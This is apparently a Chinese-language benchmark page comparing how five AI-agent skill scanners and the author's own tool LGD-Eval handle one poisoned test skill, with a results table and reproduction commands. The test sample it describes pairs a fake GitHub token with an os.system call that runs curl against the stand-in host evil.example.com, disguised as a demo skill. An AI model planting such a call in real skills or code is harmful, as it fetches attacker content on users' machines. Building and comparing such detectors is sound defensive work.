同一负对照样本 · 五家工具对照

2026-11-08 · 独立复跑与文档取证 · 仅列可核对结果,NV 不写成通过

一、样本(同一样本,五方对照)

evil.py:硬编码凭证 ghp_aaaa… + os.system("curl http://evil.example.com/x");SKILL.md 声明为普通演示技能。
对照组:iso14971-risk-matrix(干净技能,无危险调用)。

1个负对照样本
5家工具对照
3家真跑(其余文档/NV)
FAIL我方 fail-closed 结论

二、结果

工具版本 / 方式结论是否阻断证据状态
NVIDIA SkillSpector2.12.0 · 本地 pip 安装真跑34 / MEDIUM / CAUTION(含 HIGH 的 os.system)❌ 不阻断✅ 真跑
Snyk Agent Scan0.6.11 · pip 安装,headless 未出结果无稳定 stdout;CI 需 --dangerously-run-mcp-serversNVNV
SkillGatev1.0.0 · 本地实跑(MIT)干净 100/A+;负对照 27/F,4 条 CRITICAL✅ exit code 1✅ 真跑
Arize Phoenix19.18.0 · 本地服务 + OTLP trace可观测/评测平台;trace 入库成功非门禁✅ 真跑
Cisco DefenseClaw文档级(Apache-2.0 / Go)CRITICAL/HIGH → 隔离 + 阻断;扫描失败 = rejected✅(文档)📄 文档
LGD-Eval(本工具)自包含 engine · 本地复跑assessment_outcome = FAIL;safety_clear=false;无 ALLOW✅ fail-closed✅ 真跑

注:Cisco 的 fail-closed 语义来自官方文档(扫描失败=rejected、HIGH 隔离),并非我方实测;本页不把它写成“已验证”。

三、可复现命令

# NVIDIA SkillSpector(本地 pip 安装后)
python -m skillspector.cli scan <skill-dir> --no-llm --format json > out.json

# Snyk Agent Scan(注意:无 TTY 会静默失败)
python -m agent_scan.run  # 或入口 snyk-agent-scan;CI 需 --dangerously-run-mcp-servers

# LGD-Eval(本仓)
python work/eval-run/e2e_selfcontained.py
# 期望:clean=PASS / poisoned=FAIL / 无 ALLOW

SkillSpector 在 Windows 上 --output 不可用(“Safe file output is unsupported on this platform”),本页结果用 stdout 重定向。

四、怎么读这张表

“扫描器”回答“这个技能有没有风险”;“门禁”回答“能不能放行”。前者给建议(CAUTION),后者给结论(FAIL/ALLOW)。
本页只主张两件事:① 同一 HIGH 样本,SkillSpector 给 CAUTION、LGD-Eval 给 FAIL;② Cisco 的 fail-closed 说明“阻断”不是差异点,证据等级与独立第三方复跑才是。

五、来源

© 2026 Xinghua Zhao (Zhao, X.), ORCID 0009-0001-0512-1237. All rights reserved. Submitted in a personal capacity; no organizational affiliation.
本页为技术对照,不构成对任何厂商的贬损;商标归各自权利人所有。